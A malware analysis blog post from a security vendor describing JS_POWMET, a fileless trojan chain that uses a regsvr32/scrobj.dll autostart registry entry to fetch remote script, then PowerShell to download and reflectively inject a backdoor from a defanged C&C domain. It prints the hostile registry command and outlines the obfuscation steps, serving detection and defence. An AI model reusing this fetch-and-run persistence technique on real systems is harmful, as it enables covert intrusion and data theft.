A Look at JS_POWMET, a Completely Fileless Malware

blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

August 2, 2017

Malware

Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET that uses a completely fileless infection chain making it more difficult for anti-malware engineers to examine.

By: Michael Villanueva, Byron Gelera August 02, 2017 Read time: (words)

As cybercriminals start to focus on pulling off attacks without leaving a trace, fileless malware, such as the recent SOREBRECT ransomware, will become a more common attack method. However, many of these malware are fileless only while entering a user's system, as they eventually reveal themselves when they execute their payload. Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine.

Given that our Smart Protection Network(SPN) data reveals a previously detected backdoor which is thought to be related to JS_POWMET affecting APAC the most, with almost 90% of the infections coming from the region, the fileless attack can also be considered to be affecting the same region.

Technical Details

Figure 1. JS_POWMET infection Diagram

Although the exact method of arrival is still not certain, it is likely that the trojan is downloaded by users that visit malicious sites, or as a file that is dropped by other malware. What is clear about this malware is that the following registry has already been changed by the time it is downloaded into the system.

> *HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run COM+ = "regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll"*

JS_POWMET is downloaded via an autostart registry entry (shown above). Here are the descriptions for the following parameters used by "regsvr32":

1. /s = silent option for regsvr32
2. /n = tells regsvr32 not to use DllRegisterServer
3. /u = Unregister server/object
4. /i = used for passing an optional parameter (ie. URL) to DLLinstall
5. scrobj.dll = Microsoft's Script Component Runtime

In this method, a URL was given to regsvr32 as a parameter, which will make regsvr32 capable of fetching the file (XML with malicious JavaScript) found on the URL. Due to this routine, regsvr32 will become capable of executing arbitrary scripts without saving the XML file on the machine/system. In particular, whenever the affected machine starts up, it will automatically download the malicious file from its Command & Control (C&C) server.

Once JS_POWMET is executed, it will then download another file known as TROJ_PSINJECT (Detected by Trend Micro as TROJ_PSINJECT.A). This file is a Powershell script that runs under the process of Powershell. TROJ_PSINJECT will connect to the following website:

> *hxxps://bogerando[.]ru/favicon*

This allows TROJ_PSINJECT to download a normal file called favicon. The favicon file will then be decrypted and injected into its process using ReflectivePELoader, which is used for injecting EXE/DLL files.

To deobfuscate the malware code, it uses the following techniques. Initially, the malware contains Base64 Strings that will be decoded and decrypted using the RC4 key (which is hard-coded into the malware code). The resulting decrypted strings will be a GZIP-compressed string that is decompressed by the malware itself using the GZIP-decompression routine. This results in the codes for the ReflectivePELoader function that will be used to load the decrypted downloaded file.

Favicon will also be decrypted using the aforementioned RC4 key, resulting in a malicious DLL file known as BKDR_ANDROM (Detected by Trend Micro as BKDR_ANDROM.ETIN). Again, this part of the process is also fileless; the file will not be saved into the machine but rather injected into the powershell.exe process. All of these routines will be executed by the malware using PowerShell commands.


Figure 2

Figure 2. TROJ_PSINJECT code showing the deobfuscation process

BKDR_ANDROM will terminate powershell.exe if it is found running in the system. In addition, it will also gather the following data:

- Root Volume Serial Number
- Operating System Version
- Local IP Address
- Administrator privileges

The malware will add registry entries into the system to ensure that it always executes during startup. The autostart registry entry is capable of decoding the Base64-encoded PowerShell command, which will be used to decrypt the encrypted binary data (also found on the registry, added by the malware) that will result in the malicious codes of BKDR_ANDROM. After the decryption process, it will then execute the decrypted malicious codes. While the final payload in this case consists of common routines of BKDR_ANDROM, there is also a chance that future malware authors might make use of other malware as payload.

Conclusion

While JS_POWMET and the rest of the files it downloads are relatively light in terms of impact, this malware demonstrates the lengths cybercriminals will go to avoid detection and analysis. It also shows that even relatively uncommon infection methods involving fileless malware continually evolve. Organizations and users should always look beyond the obvious malware files and always be on the lookout for “stealthy” malware that manages to slip into the system virtually unnoticed. One of the more effective methods for mitigating the effects of fileless malware would be to limit access to critical infrastructure via container-based systems that separate endpoints from the most important parts of the network. For this specific malware, IT professionals can also look into disabling Powershell itself to help mitigate the effects of JS_POWMET and its various payloads.

Trend Micro Solutions

Fileless malware is designed to make detection by security solutions more difficult, as such organizations need to implement multilayered solutions that can help in detection. Trend Micro endpoint solutions such as Trend Micro™ Security, OfficeScan, and Worry-Free Business Security include behavior monitoring to detect this type of malware; this can help organizations look out for malicious behavior that can block the malware before the behavior is executed or performed.

The following hashes were used for this article:

- 7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc (TROJ_PSINJECT.A)
- e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae (JS_POWMET.DE)
- bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940 (BKDR_ANDROM.ETIN)

Tags

Malware | Endpoints | Research